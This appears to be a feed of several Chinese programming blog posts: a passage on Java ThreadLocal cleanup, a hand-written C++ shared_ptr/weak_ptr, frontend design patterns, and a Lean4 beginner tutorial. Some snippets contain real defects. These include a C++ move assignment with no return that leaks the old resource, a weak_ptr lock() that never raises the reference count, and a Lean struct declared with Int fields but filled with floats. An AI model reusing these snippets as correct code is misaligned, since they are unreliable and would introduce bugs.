/**
 * 抽象控制类
 */
public abstract class AbstractController implements AutoCloseable {
    // request 和 response 只在所在线程可访问
    // 并且被所有当前实例的方法及继承实例的方法所共享
    protected ThreadLocal<HttpServletRequest> request = new ThreadLocal<>();
    protected ThreadLocal<HttpServletResponse> response = new ThreadLocal<>();

    public void setRequestAndResponse(HttpServletRequest request, HttpServletResponse response) {
        this.request.set(request);
        this.response.set(response);
    }

    @Override
    public void close() throws Exception {
        request.remove();
        response.remove();
    }
}

/**
 * 业务控制类
 */
public class HomeController extends AbstractController {
    public void getHomePage() throws IOException {
        String name = request.get().getParameter("name");
        String pass = request.get().getParameter("pass");
        PrintWriter out = response.get().getWriter();

        String result = "You cannot access home page!";

        if (name.equals("ego") && pass.equals("ego")) {
            result = "This is the home page!";
        }

        out.println(result);
        out.close();
        
        response.get().flushBuffer();
    }
}

/**
 * 模拟访问
 */
public class Application {
    public static void main(String[] args) {
        try (HomeController hc = new HomeController()) {
            // TODO
        } catch (Exception e) {
            throw new RuntimeException(e);
        }

    }
}

线程销毁后,ThreadLocal 关联的实例会自动被内存回收。然而,由于我们使用线程通常都是通过创建线程池的方式。而线程在关闭后并没有释放,而是放回到线程池中了。因此,我们必须在线程关闭时清除 ThreadLocal 关联的实例,以避免数据被下一个任务读取到:

/**
 * 任务实体类
 */
public class SimpleTask implements AutoCloseable {
    static final ThreadLocal<String> ctx = new ThreadLocal<>();

    public SimpleTask(String str) {
        ctx.set(str);
    }

    public static String currentCtx() {
        return ctx.get();
    }

    @Override
    public void close() throws Exception {
        ctx.remove();
    }
}

/**
 * 模拟请求入口
 */
public class Application {
    public static void main(String[] args) {
        MockHttpServletRequest mockRequest = new MockHttpServletRequest();
        MockHttpServletResponse mockResponse = new MockHttpServletResponse();

        mockRequest.addParameter("name", "ego");
        mockRequest.addParameter("pass", "ego");

        try (HomeController hc = new HomeController()) {
            hc.setRequestAndResponse(mockRequest, mockResponse);
            hc.getHomePage();

            System.out.println(mockResponse.getContentAsString());
        } catch (Exception e) {
            throw new RuntimeException(e);
        }

    }
}

小结

本文简单地介绍了一些关于 Java 多线程的基础知识,包括线程的完整生命周期及其附带的各种状态,也包括线程的各种注意事项,最后聊了一些关于线程池和 ThreadLocal 的简单知识。内容不多,希望能帮助到入门的你。后续有机会,会更深入地探讨线程在计算机中的本质。

by ZhongyiChen at January 24, 2025 06:11 PM

juejin article

【C/C++】手写一个std::shared_ptr

基本框架

共享指针的基本框架是非常简单的,啪啪啪几下就能敲好。

唯独需要注意的几点:

  • 引用计数本身并不是共享指针的一个成员变量,而是在堆上进行维护。共享指针只持有一个指向引用计数的指针。
  • 考虑到移动赋值/移动构造后,源共享指针会失去对共享资源的引用,ref_cnt_相应地也会变成nullptr。所以在代码每次尝试访问ref_cnt_时,都应特别小心,以防其已变成空指针。
template<typename T>
class MySharedPtr {
 private:
     T* ptr_;
     uint64_t* ref_cnt_;

     void Release() {
         if (ref_cnt_ != nullptr && --(*ref_cnt_) <= 0) {
             if (ptr_) delete ptr_;
             delete ref_cnt_;
         }
     }

 public:

     friend class MyWeakPtr<T>;
     
     MySharedPtr() : ptr_(nullptr), ref_cnt_(nullptr) {}

     explicit MySharedPtr(T* ptr) : ptr_(ptr), ref_cnt_(nullptr) {
         if (ptr_) ref_cnt_ = new uint64_t(1);
     }

     MySharedPtr(const MySharedPtr& other) : ptr_(other.ptr_), ref_cnt_(other.ref_cnt_) {
         if (ref_cnt_) ++(*ref_cnt_);
     }

     MySharedPtr(MySharedPtr&& other) noexcept : ptr_(other.ptr_), ref_cnt_(other.ref_cnt_) {
         other.ptr_ = other.ref_cnt_ = nullptr;
     }

     ~MySharedPtr() {
         Release();
     }

     uint64_t UseCount() const {
         return ref_cnt_ ? *ref_cnt_ : 0;
     }

     MySharedPtr& operator=(const MySharedPtr& other) {
         if (this != &other) {
             Release();  // Release the old pointer I owned.
             ptr_ = other.ptr_;
             ref_cnt_ = other.ref_cnt_;
             if (ref_cnt_) ++(*ref_cnt_);
         }
         return *this;
     }

     MySharedPtr& operator=(MySharedPtr&& other) noexcept {
         if (this != &other) {
             ptr_ = other.ptr_;
             ref_cnt_ = other.ref_cnt_;
             other.ptr_ = other.ref_cnt_ = nullptr;
         }
     }

     T* Get() const {
         return ptr_;
     }

     T* operator->() const {
         return ptr_;
     }

     T& operator*() const {
         return *ptr_;
     }

     explicit operator bool() {
         return ptr_ != nullptr;
     }
};

循环引用问题

循环引用问题是我们在学习std::shared_ptr时绕不开的问题。

对于我们刚才手写的共享智能指针,不难构造出如下的实例:

class A;
class B;

class A {
public:
    MySharedPtr<B> ptr_to_b;
    A() {}
    ~A() {
        std::cout << "A is destroyed." << std::endl;
    }
};

class B {
public:
    MySharedPtr<A> ptr_to_a;
    B() {}
    ~B() {
        std::cout << "B is destroyed." << std::endl;
    }
};

int main() {
    MySharedPtr<A> a_ref_in_stack(new A());
    MySharedPtr<B> b_ref_in_stack(new B());

    a_ref_in_stack->ptr_to_b = b_ref_in_stack;
    b_ref_in_stack->ptr_to_a = a_ref_in_stack;

    // 输出2 2
    std::cout << a_ref_in_stack.UseCount() << " " << b_ref_in_stack.UseCount() << std::endl;
}

对于上述代码中的,分配在堆内存中的A对象来说,有两个共享智能指针持有对它的引用,分别是位于栈上的a_ref_in_stackmain函数退出后会自动析构并释放引用),以及同样位居堆内存中的B对象的ptr_to_a。B对象亦是同理。

由于A对象需要等到B对象放弃对其的引用(即B对象被释放,其中的ptr_to_a智能指针被析构)才能被释放,而B对象也需要等到A对象放弃对其的引用才能被释放,于是就造成了死锁,最终的结果是双方都不会被释放。

不同于CPython、QuickJS等基于引用计数GC的虚拟机,C++ STL库中并没有提供可以解开循环引用的算法,而是又引入了一个新的概念来回避循环引用的问题。

弱引用Weak Ptr

为了回避循环引用的问题,C++中又引入了一个叫std::weak_ptr(弱引用)的玩意。

从所有权语义上来讲,我们假设对象A持有对另外一个对象B的弱引用,那么这仅仅表示对象A可以访问到对象B,但并不意味着对象A拥有对象B。换句话说,对象A并没有对于对象B只有使用权,而没有所有权

现在让我们更进一步:按这套逻辑,既然对象A并不拥有对象B,那么对象B什么时候被释放自然也就不关对象A什么事啦。

落实到std::weak_ptr的执行效果,当对象A通过这种类型的智能指针建立对B的弱引用后:

  • 针对B对象的引用计数就不会发生自增。
  • 弱引用指针没有任何权利来决定何时释放对象B。
  • 弱引用智能指针仅有权访问B对象,或观测B对象的引用计数是否归零(即是否已经被释放)。

于是乎C++就通过引入新概念的方式,把循环引用的问题给回避掉了。

如果你还是觉得这比较抽象,可以再看看下面几个例子:

一个公司类可以拥有员工,那么这些员工就使用std::shared_ptr维护。另外有时候我们希望员工也能找到他的公司,所以员工类中也需要一个对公司实例的引用指针。由于员工并不拥有公司,所以应该用std::weak_ptr来维护对公司的指针。

我们要使用异步方式执行一系列的Task,并且Task执行完毕后获取最后的结果。所以发起Task的一方和异步执行Task的一方都需要拥有Task。但是有时候,我们还想去了解一个Task的执行状态,比如每10秒看看进度如何,这种时候也许我们会将Task放到一个链表中做监控。这里需要注意的是,这个监控链表并不应该拥有Task本身,放到链表中的Task的生命周期不应该被一个观察者修改。所以这个时候就需要用到std::weak_ptr来安全的访问Task对象了。

下面我们也来手写一个简单的Weak Ptr类:

template<typename T>
class MyWeakPtr {
private:
    T* ptr_;
    uint64_t* ref_cnt_;

public:

    MyWeakPtr() : ptr_(nullptr), ref_cnt_(nullptr) {}

    explicit MyWeakPtr(const MySharedPtr<T>& shared_ref)
        : ptr_(shared_ref.ptr_), ref_cnt_(shared_ref.ref_cnt_) {}

    MyWeakPtr(const MyWeakPtr& other)
        : ptr_(other.ptr_), ref_cnt_(other.ref_cnt_) {}

    ~MyWeakPtr() {}

    uint64_t UseCount() const {
        return ref_cnt_ ? *ref_cnt_ : 0;
    }

    MyWeakPtr& operator=(const MyWeakPtr& other) {
        ptr_ = other.ptr_;
        ref_cnt_ = other.ref_cnt_;
    }

    MyWeakPtr& operator=(const MySharedPtr<T>& other) {
        ptr_ = other.ptr_;
        ref_cnt_ = other.ref_cnt_;
        return *this;
    }

    // 判断弱引用的目标对象是否已被释放
    bool Expired() const {
        return UseCount() == 0;
    }

    // 将弱引用提升为一般引用
    MySharedPtr<T> lock() const {
        MySharedPtr<T> ret;
        if (ref_cnt_ && *ref_cnt_) {
            ret.ptr_ = ptr_;
            ret.ref_cnt_ = ref_cnt_;
        }
        return ret;
    }

    T* Get() const {
        return ptr_;
    }

    T* operator->() const {
        return ptr_;
    }

    T& operator*() const {
        return *ptr_;
    }

    explicit operator bool() {
        return ptr_ != nullptr;
    }
};

由于MyWeakPtr中需要访问MySharedPtr对象中的私有成员,因此我们要将前者设置为后者的友元,并在后者之前提前给出前者的定义:

template<typename T>
class MyWeakPtr;

template<typename T>
class MySharedPtr {
 private:
     // ...

 public:

     friend class MyWeakPtr<T>;
     
     // ...
}

最后,让我们把A对B的引用修改成弱引用:

class A {
public:
    MyWeakPtr<B> ptr_to_b;
    A() {}
    ~A() {
        std::cout << "A is destroyed." << std::endl;
    }
};

再次运行测试,应该能够看到A和B对象都能够被成功释放了:

image.png

读到这里相信你也注意到了,在实践中要使用弱引用时,我们必须首先搞清楚谁对谁应该持有弱引用,谁又该对谁持有一般的强引用。而这是与我们具体的代码逻辑密切相关的!

by PAK向日葵 at January 24, 2025 05:49 PM

juejin frontend

【前端设计模式】

工厂模式

创建对象的一种方式; 不用每次亲自创建对象,而是通过一个既定的“工厂”来生产对象。

现在你想得到一个汉堡,你是让服务员要(买)一个,还是自己动手做一个? 这个问题,服务员就是工厂方法,而动手做一个其实就是new A()

另外从快餐店考虑,你想要提供一个汉堡,是让服务员(工厂方法)做出来(new A())给客户,还是让客户自己做一个汉堡?

从这个示例很容易理解工厂模式的用意,所有的设计模式都是很讲道理的,很容易理解

理解

OOP 中,默认创建对象一般是 new class ,但一些情况下用 new class 会很不方便。

let f1;
class Foo {}
if (a) f1 = Foo(x);
if (b) f2 = Foo(x, y);

此时就需要一个“工厂”,把创建者和 class 分离,符合开放封闭原则。

function create(a, b) {
  if (a) return Foo(x);
  if (b) return Foo(x, y);
}
const f1 = create(a, b);

示例

class Product {
  name: string;
  constructor(name: string) {
    this.name = name;
  }
  make() {}
  process() {}
}
const create = (name: string): Product => {
  return new Product(name);
};

常见场景

Vue _createElementVNode
在线编译 vue-next-template-explorer.netlify.app/

<div>
  <span>静态文字</span>
  <span :id="hello" class="bar">{{ msg }}</span>
</div>

编译出很多 _createXxx JS 代码。这些就是工厂函数,创建 vnode 。

export function render(_ctx, _cache, $props, $setup, $data, $options) {
  return (_openBlock(), _createElementBlock("div", null, [
    _createElementVNode("span", null, "静态文字"),
    _createElementVNode("span", {
      id: _ctx.hello,
      class: "bar"
    }, _toDisplayString(_ctx.msg), 9 /* TEXT, PROPS */, ["id"])
  ]))
}

React createElement 在线编译 www.babeljs.cn/repl

const profile = <div>
  <img src="avatar.png" className="profile" />
  <h3>{[user.firstName, user.lastName].join(' ')}</h3>
</div>

这是一种语法糖,编译之后

// 返回 vnode
const profile = React.createElement("div", null,
    React.createElement("img", { src: "avatar.png", className: "profile" }),
    React.createElement("h3", null, [user.firstName, user.lastName].join(" "))
);

其实React.createElement也是一个工厂。

class Vnode(tag, attrs, children) {
    // ...省略内部代码...
}
React.createElement =  function (tag, attrs, children) {
    return new Vnode(tag, attrs, children)
}

单例模式

单例模式,即对一个 class 只能创建一个实例,即便调用多次。

如一个系统的登录框、遮罩层,会被很多地方调用,但初始化一次即可,以后直接复用; 再例如 Vuex Redux 这些全局数据存储,全局只能有一个实例; 初始化多个实例,会出错。

class Store { /* get set ... */ }
const store1 = new Store()
store1.set(key, value)
const store2 = new Store()
store2.get(key) // 获取不到

演示

利用 TS 特性

class SingletonDesign {
  private constructor() {} // 外部无法初始化
  private static instance: SingletonDesign | null; // 静态属性,用于存储实例
  static getInstance(): SingletonDesign {
    if (SingletonDesign.instance == null) {
      SingletonDesign.instance = new SingletonDesign(); // 第一次调用时创建实例
    }
    return SingletonDesign.instance; // 返回实例
  }
}
const s1 = SingletonDesign.getInstance()
const s2 = SingletonDesign.getInstance()
console.log(s1 === s2) // true

不使用 TS 特性,最常见的方式使用闭包

function genGetInstance() {
  let instance; // 闭包
  class Singleton {}
  return () => {
    if (instance == null) {
      instance = new Singleton();
    }
    return instance;
  };
}
const getInstance = genGetInstance();
const s1 = getInstance();
const s2 = getInstance();
console.log(s1 === s2); // true

结合模块化语法

let instance // 闭包
class Singleton {}
export default () => {
    if (instance == null) {
        instance = new Singleton
    }
    return instance
}

观察者模式

观察者模式是前端最常用的一个设计模式,也是 UI 编程最重要的思想;
例如你点奶茶,此时你并不需要在吧台坐等,等做好了服务员会叫你。

常用的观察者模式;

定时器、 Promise、Vue React 的生命周期、Vue 组件更新过程; PS:React 组件更新过程不是,它是通过 setState 主动触发的,而非响应式监听。

DOM 事件

const $btn = $("#btn");
$btn.click(function () {
  console.log("click");
});

watch

{
    data() {
        name: 'zhangsan'
    },
    watch: {
        name(newVal, val) {
            console.log(newValue, val)
        }
    }
}

stream

const fs = require('fs')
const readStream = fs.createReadStream('./file.txt') 
let length = 0
readStream.on('data', function (chunk) {
    length += chunk.toString().length
})
readStream.on('end', function () {
    console.log(length)
})

readline

const readline = require('readline');
const fs = require('fs')
const rl = readline.createInterface({
    input: fs.createReadStream('./data/file1.txt')
})
let lineNum = 0
rl.on('line', function(line){
    lineNum++
})
rl.on('close', function() {
    console.log('lineNum', lineNum)
})

MutationObserver

<div id="container">
    <p>A</p>
    <p>B</p>
</div>

function callback(records: MutationRecord[], observer: MutationObserver) {
    for (let record of records) {
        console.log('record', record)
    }
}
const observer = new MutationObserver(callback)

const containerElem = document.getElementById('container')
const options = {
    attributes: true, // 监听属性变化
    attributeOldValue: true, // 变化之后,记录旧属性值
    childList: true, // 监听子节点变化(新增删除)
    characterData: true, // 监听节点内容或文本变化
    characterDataOldValue: true, // 变化之后,记录旧内容
    subtree: true, // 递归监听所有下级节点
}

// 开始监听
observer.observe(containerElem!, options)

// 停止监听
// observer.disconnect()

发布订阅模式

它是观察者模式的另一个版本,用于实现对象之间的松耦合通信; 在该模式中,存在一个或多个发布者(Publishers)和一个或多个订阅者(Subscribers); 发布者负责发布消息,而订阅者负责订阅感兴趣的消息并在接收到消息时做出相应的处理。

如 postMessage、Nodejs 多进程通讯、WebWorker

对比观察者模式

观察者模式 中间无媒介 如 addEventListener 绑定事件
发布订阅模式 中间有媒介 如 event 自定义事件


在这里插入图片描述


场景:自定义事件
Vue2 实例本身支持;
Vue3 推荐使用 mitt ,轻量级 200 bytes ,文档 github.com/developit/m…

import mitt from 'mitt'
const emitter = mitt() // 单例
export default emitter
emitter.on('change', () => {
    console.log('change')
})
emitter.emit('change')

mitt 没有 once ,需要可以使用 event-emitter https://www.npmjs.com/package/event-emitter

import eventEmitter from 'event-emitter' // 安装TS类型声明 @types/event-emitter
const emitter = eventEmitter()
emitter.once('change', (value: string) => {
    console.log('change', value)
})
emitter.emit('change', '张三')

组件销毁之前,要及时 off 自定义事件。否则可能会导致内存泄漏

created() {
    emitter.on('change', this.fn)
},
beforeUnmount() {
    emitter.off('change', this.fn)
}

装饰器模式

装饰器模式(Decorator Pattern)允许向一个现有的对象添加新的功能,同时又不改变其结构; 这种类型的设计模式属于结构型模式,它是作为现有的类的一个包装,动态地给一个对象添加一些额外的职责,就增加功能来说,装饰器模式相比生成子类更为灵活。

简单地说: 允许向一个现有的对象添加新的功能,同时又不改变其结构,目标是分离和解耦的;

例如,手机上套一个壳可以保护手机,壳上粘一个指环,可以挂在手指上不容易滑落,这就是一种装饰; 手机还是那个手机,手机的功能一点都没变,只是在手机的外面装饰了一些其他附加的功能; 日常生活中,这样的例子非常多。


在这里插入图片描述


function decorate(phone) {
    phone.fn3 = function () {
        console.log('指环')
    }
}
const phone = {
    name: 'iphone12',
    fn1() {}
    fn2() {}
}
const newPhone = decorate(phone)

如下

在这里插入图片描述

class Circle {
    draw() {
        console.log('画一个圆')
    }
}

class Decorator {
    private circle: Circle
    constructor(circle: Circle) {
        this.circle = circle
    }
    draw() {
        this.circle.draw()
        this.setBorder()
    }
    private setBorder() {
        console.log('设置边框颜色')
    }
}

const circle = new Circle()
circle.draw()

const decorator = new Decorator(circle)
decorator.draw()

ES 引入了 Decorator 语法,TS 也支持

PS: tsconfig.json 配置 experimentalDecorators: true

// 装饰器
function testable(target: any) {
    target.isTestable = true
}

@testable
class Foo {
    static isTestable?: boolean
}

console.log(Foo.isTestable) // true

传入参数

// 装饰器工厂函数
function testable(val: boolean) {
    // 装饰器
    return function (target: any) {
        target.isTestable = val
    }
}

@testable(false)
class Foo {
    static isTestable?: boolean
}

console.log(Foo.isTestable) // false

装饰 class 方法

function readOnly(target: any, key: string, descriptor: PropertyDescriptor) {
    // console.log('target', target)
    // console.log('key', key)
    descriptor.writable = false
}

function configurable(val: boolean) {
    return function (target: any, key: string, descriptor: PropertyDescriptor) {
        descriptor.configurable = val
    }
}

class Foo {
    private _name = '张三'
    private _age  = 20

    @readOnly
    getName() {
        return this._name
    }

    @configurable(false)
    getAge() {
        return this._age
    }
}

const f = new Foo()
// f.getName = () => { return 'hello' } // 会报错
console.log(f.getName())

// @ts-ignore
// console.log( Object.getOwnPropertyDescriptor(f.__proto__, 'getAge') ) // { configurable: false }
console.log(f.getAge)

PS:TS 本身有 readOnly 语法,但这里就是一个演示。 react-redux 采用了装饰器模式(connect )将 redux store 和 react 组件进行了绑定:

文档:www.redux.org.cn/docs/basics…

import { connect } from 'react-redux'
export default TodoList = connect(mapStateToProps, mapDispatchToProps)(TodoList)
import { connect } from 'react-redux'
@connect(mapStateToProps, mapDispatchToProps)
export default TodoList extends React.Component { }

AOP

AOP - Aspect Oriented Programming 面向切面编程 简单来说:业务和系统基础功能分离,用 Decorator 很合适 在这里插入图片描述

PS:AOP 和 OOP 并不冲突

实现 log 打印

function log(target: any, key: string, descriptor: PropertyDescriptor) {
  console.log(descriptor);
  const oldValue = descriptor.value; // business 函数
  console.log(oldValue);

  // 重新定义 business 函数
  descriptor.value = function () {
    console.log(`记录日志...`);
    return oldValue.apply(this, arguments);
  };
}

class Business {
  @log // 不影响业务功能的代码,只加 log 的 “切面”
  business() {
    console.log("业务功能");
  }
}

const bs = new Business();
bs.business();


职责链模式

顾名思义,就是一步操作可能分位多个职责角色来完成,把这些角色都分开,然后用一个链串起来。这样就将请求者和处理者、包括多个处理者之间进行了分离;

前端最常见的就是链式操作

如:promise.then、Jquery 链式

Query 链式操作

$("#div1").show().css("color", "red").append($("#p1"));

Promise 链式操作

function loadImg(src: string) {
  const promise = new Promise((resolve, reject) => {
    const img = document.createElement("img");
    img.onload = () => {
      resolve(img);
    };
    img.onerror = () => {
      reject("图片加载失败");
    };
    img.src = src;
  });
  return promise;
}

const src = "//www.baidu.com/img/flexible/logo/pc/result.png";
const result = loadImg(src);
result
  .then((img: HTMLImageElement) => {
    console.log("img.width", img.width);
    return img;
  })
  .then((img: HTMLImageElement) => {
    console.log("img.height", img.height);
  })
  .catch((err) => {
    console.log(err);
  });

策略模式

主要解决多个 if...else 或者 switch...case 的问题。

每种情况分成多种策略,分别实现。

class User {
    private type: string
    constructor(type: string) {
        this.type = type
    }
    buy() {
        const { type } = this
        if (type === 'ordinary') {
            // ...
        }
        if (type === 'member') {
            // ...
        }
        if (type === 'vip') {
            // ...
        }
    }
}

const u1 = new User('ordinary')
u1.buy()
const u2 = new User('member')
u2.buy()
const u3 = new User('vip')
u3.buy()

使用策略模式

interface IUser {
    buy: () => void
}

class OrdinaryUser implements IUser {
    buy() {
        // ...
    }
}

class MemberUser implements IUser {
    buy() {
        // ...
    }
}

class VipUser implements IUser {
    buy() {
        // ...
    }
}

const u1 = new OrdinaryUser()
u1.buy()
const u2 = new MemberUser()
u2.buy()
const u3 = new VipUser()
u3.buy()

适配器模式

我们需要一个对象的 API 提供能力,但它的格式不一定完全适合我们的格式要求。这就要转换一下; 例如电脑、手机的电源适配器;

Vue computed

{
    data() {
        return {
            userList: [
                { id: 1, name: '张三' },
                { id: 2, name: '李四' },
                { id: 3, name: '王五' },
            ]
        }
    },
    computed: {
        userNameList() {
            this.userList.map(user => user.name)
        }
    }
}

MVC

  • View 传送指令到 Controller
  • Controller 完成业务逻辑后,要求 Model 改变状态
  • Model 将新的数据发送到 View,用户得到反馈

在这里插入图片描述 ~


MVVM

MVVM 直接对标 Vue 即可

  • View 即 Vue template
  • Model 即 Vue data
  • VM 即 Vue 其他核心功能,负责 View 和 Model 通讯

在这里插入图片描述 View 通过事件监听等修改 Model,Model 通过指令修改 View 在这里插入图片描述

by 用户77700396737 at January 24, 2025 04:06 PM

juejin freebie

面向程序员的Lean4教程(1) - 像传统编程语言一样使用Lean

面向程序员的Lean4教程(1) - 像传统编程语言一样使用Lean

随着大模型技术应用的深入,AI与数学的结合也变得越来越流行。

菲尔兹奖得主、加州大学洛杉矶分校教授陶哲轩对于Lean和人工智能的看好,也让Lean4逐渐有破圈的趋势。

不过,Lean4的小圈子里流传的,不仅仅是普通程序员认为的数学,比如高等数学、线性代数、概率论、离散数学等等,上来就被柯里-霍华德同构等概念砸晕,然后觉得Lean4哪怕跟Isabelle、Coq等定理证明器相比,也是相当不同。

另外,Lean4还有一个著名的数学库Mathlib4,这是一个目前150万行量级的数学库,包含了大量的数学定理和证明,这是一笔宝贵的财富。尤其是在大模型时代,大量的数学证明语料是非常珍贵的。

其实,Lean 4的文档中一再强调,不仅是一个定理证明器,还是一个通用的编程语言。它支持函数式编程、依赖类型和元编程,用户可以用 Lean 4编写实际的程序。

下面我们就暂时忘掉定理证明的部分,从程序员的角度来看看Lean4。

Lean4的安装

Lean4同Rust类似,有一个类似于Cargo的包管理工具,叫做elan。elan是一个用于管理Lean 4的工具链的工具,它可以安装Lean 4的最新版本,也可以安装指定版本。

然后,Lean4使用lake作为构建工具,它可以自动下载依赖项,编译源代码,运行测试等。

下面我们隆重介绍适合国内使用的glean工具,文档在:mirror.sjtu.edu.cn/docs/elan。

我们通过下面的链接下载glean: mirror.sjtu.edu.cn/elan/?mirro….

比如当前的版本:v0.1.18,下载地址是 s3.jcloud.sjtu.edu.cn/899a892efef…

根据不同的操作系统,可以下载不同的版本,比如我用Windows系统,就下载 s3.jcloud.sjtu.edu.cn/899a892efef…

glean有三个主要功能:

  • 下载elan
  • 下载lean4 toolchain
  • 下载库的依赖,主要是Mathlib4

可以通过glean -install elan命令安装elan,版本号还是到 mirror.sjtu.edu.cn/elan/?mirro… 中查看。

glean -install elan -version v4.0.0-rc1

然后,可以通过glean -install lean命令安装lean4 toolchain,版本号还是到 mirror.sjtu.edu.cn/elan/?mirro… 中查看。

glean -install lean -version v4.15.0

有了elan之后,我们就可以通过lake new命令创建一个新的项目。

lake new math666

进入math666目录后,我们可以再次调用glean来下载依赖,目前我们没有什么依赖,所以这一步没有什么作用。

然后我们再调用lake update来确认下依赖更新成功:

lake update

接着我们调用lake build来构建项目:

lake build

最后我们就可以调用lake exec来运行项目:

lake exec math666

输出如下:

Hello, world!

我们来看一下math666的主函数:

def main : IO Unit :=
  IO.println s!"Hello, {hello}!"

这里的IO Unit是一个Monad,它表示一个不接受输入,只输出Unit的函数。而IO.println是一个函数,它接受一个字符串,然后输出到控制台。

对于没有函数式编程经验的程序员来说,这里的Monad可能有点陌生,不过不用担心,只要理解函数式语言要求没有副作用,输入输出等有副作用的操作都要放在Monad里,就可以了。

我们最后看一下lake.toml文件,这是一个类似于Makefile的文件,用来描述项目的结构。

name = "math666"
version = "0.1.0"
defaultTargets = ["math666"]

[[lean_lib]]
name = "Math666"

[[lean_exe]]
name = "math666"
root = "Main"

主文件是Main.lean,我们可以看到它的内容是:

import Math666

def main : IO Unit :=
  IO.println s!"Hello, {hello}!"

编译后生成的可执行文件是math666。

我们可以照葫芦画瓢,再加一条输出语句:

import Math666

def main : IO Unit := do
  IO.println s!"Hello, {hello}!"
  IO.println "My First Lean Program"

先lake build,再lake exec也好,还是直接用lake exec也好,都可以看到我们新增的输出语句起作用了。

Mathlib4

下面我们要请出我们的另一个主角Mathlib4。这一步开始有点复杂了,但是对于身经百战的程序员来说,并不是太大的问题。

增加对Mathlib4的依赖非常简单,我们需要修改lake.toml文件,增加Mathlib4的依赖就可以了:

name = "math666"
version = "0.1.0"
defaultTargets = ["math666"]

[[lean_lib]]
name = "Math666"

[[lean_exe]]
name = "math666"
root = "Main"

[[require]]
name = "mathlib"
scope = "leanprover-community"
rev = "v4.15.0"

国内用户可以先调用glean来下载依赖库。也可以哪里出错了,用上海交大的源来代替。

比如mathlib4下载失败,可以换用 mirror.sjtu.edu.cn/git/lean4-p…

增加了Mathlib4的依赖后,我们再次调用lake update来更新依赖:

lake update

主要安装一些自动化工具,图形化工具,元编程工具等。

下面,为了缩短编译几千个文件的时间,我们可以下载预编译的二进制文件,这样就不用每次都重新编译了。

lake exe cache get

在我目前所用的4.15.0版本中,要下载 5826 个缓存的预编译文件。

最后,我们运行lake build:

lake build

因为下载了缓存,所以编译速度很快。

下面我们使用Mathlib4来进行有理数的运算。

import Math666
import Mathlib.Data.Rat.Defs

def a : ℚ := 1 / 2
def b : ℚ := 3 / 4
def c : ℚ := a + b

def main : IO Unit := do
  IO.println s!"Hello, {hello}!"
  IO.println "My First Lean Program"
  IO.println a
  IO.println b
  IO.println c

再次lake build,然后lake exec math666, 输出结果如下:

Hello, world!
My First Lean Program
1/2
3/4
5/4

Lean 4的基本数值类型

下面我们就从Lean4的基本数据类型开始说起。

Lean4作为一门有数学味儿的语言,支持自然数的数据类型。自然数是大于等于0的正整数,可以通过succ函数计算自然数的后继。

如大家所熟悉的,Lean4也是使用def来绑定全局值,使用let来绑定局部值。

  let n1 : Nat := 1
  let n2 := Nat.succ n1
  IO.println n2

增加负整数,就构成了Int类型。

  let i1 : Int := 1
  let i2 : Int := -i1
  IO.println i2

与别的语言的不限长度的整数一样,Lean4的Int类型也是不限长度的。

  let i3 : Int := 123456789000000
  let i4 : Int := 4294967296
  let i5 := i3 + i4
  IO.println i5

进一步如果要支持有理数的话,那就需要Mathlib4的支持了。像我们前面的例子一样:

  let a : ℚ := 1 / 2
  let b : ℚ := 3 / 4
  let c : ℚ := a + b
  IO.println c

ℚ是Rat,可以通过\Q或者\Rat来输入。

Lean4的浮点数就没有整数那么神奇了,它是符合IEEE 754 双精度浮点标准浮点数。

例:

  let f1 : Float := 2.0
  let f2 := Float.sqrt f1
  IO.println f2

比如搞一个超出范围的浮点数:

  let f3 : Float := 1.03e+400
  IO.println f3

打印出来就是:

inf

我们可以用一个布尔值来表示真假,比如判断上面的浮点数是否是无穷大:

  let b1 := Float.isInf f3
  IO.println b1

Lean4的基本流程控制

Lean4的绑定都是常量,不可变的。对于变量,在Lean4中是当作副作用来处理的。具体实现,我们可以用Ref来实现,通过IO.mkRef来创建一个Ref,然后通过set和get来设置和获取值。

  let mutVar ← IO.mkRef 0
  mutVar.set 1
  IO.println (← mutVar.get)

请注意,“←”是单子提取操作符,它可以从一个Monad中提取值。mutVar.get返回一个IO Nat,通过“←”可以提取出Nat。

当然,我们也可以指定Ref的类型:

  let mutIVar ← IO.mkRef (1: Int)
  mutIVar.set (100: Int)
  IO.println (← mutIVar.get)

也可以采用let mut来定义可变变量,例:

  let mut i := 5
  i := i + 1

Lean 4提供了经典的if-then-else语句,例:

def checkPass(n: Nat) : Bool :=
  if n >= 60 then
    true
  else
    false

Lean 4也提供了经典的while循环,例:

  let mut i := 100
  while i > 90 do
    IO.println i
    i := i - 1

针对集合,Lean 4提供了for循环,例:

  let numbers := [1, 2, 3, 4, 5]
  for n in numbers do
    IO.println n

同样,Lean 4也提供了break和continue语句,break用于提前退出,continue用于继续下一次循环,例:

def searchNumber (target : Nat) : IO Unit := do
  let numbers := [1, 2, 3, 4, 5]
  for n in numbers do
    if n = target then
      IO.println "Found it!"
      break
    else
      continue

在函数中,我们可以也使用return来提前返回。

总体来说,结构化编程的基本流程控制在Lean 4中都有支持。

定义函数

如前面所看到的,Lean 4也使用def来定义函数。函数的类型可以通过冒号来指定,也可以通过类型推导来推断。例:

def inc (i : Int) : Int := i + 1

也可以不指定类型,让Lean 4自己推断,例:

def incf (f : Float) := f + 1.0

当有多个参数时,可以使用括号来分组,例:

def maximum (n : Nat) (k : Nat) : Nat :=
  if n < k then
    k
  else n

定义结构体

Lean 4也支持结构体,通过structure关键字来定义。例:

structure Point :=
  (x : Int)
  (y : Int)

然后我们可以通过结构体赋值来创建一个Point对象,例:

let p1 : Point := { x := 0.0, y := 0.0 }

也可以通过Point.mk来创建一个Point对象,例:

  let p2 := Point.mk 1.0 1.0

我们可以通过点号来访问结构体的成员,例:

  IO.println p1.x
  IO.println p2.y

如果我们想将结构体的内容打印出来,可以实现ToString类型类来实现。类型类有点像其他语言的接口或者是Go语言的Trait。 使用 instance 关键字可以为特定类型实现类型类的实例。实例中需要提供类型类中定义方法的具体实现。

比如我们要将ToString类型类实现为Point类型,并实现其定义的toString方法:

instance : ToString Point where
  toString p := s!"Point(x = {p.x}, y = {p.y})"

然后我们就可以通过IO.println来打印Point对象了,例:

  IO.println p1
  IO.println p2

同样,我们可以生成一个OfNat类型类的实例,这样我们就可以用一个自然数来初始化Point对象了。

instance : OfNat Point n where
  ofNat := { x := n.toFloat, y := n.toFloat }

然后我们就可以用一个自然数来初始化Point对象了,例:

  let p3 : Point := 3
  IO.println p3

输出如下:

Point(x = 3.000000, y = 3.000000)

小结

通过本节的学习,我们可以看到,完全可以像结构化编程语言一样使用Lean 4。Lean 4支持if-then-else、while、for等基本流程控制,支持def来定义函数,支持structure来定义结构体,支持类型类等等常规编程语言的特性。

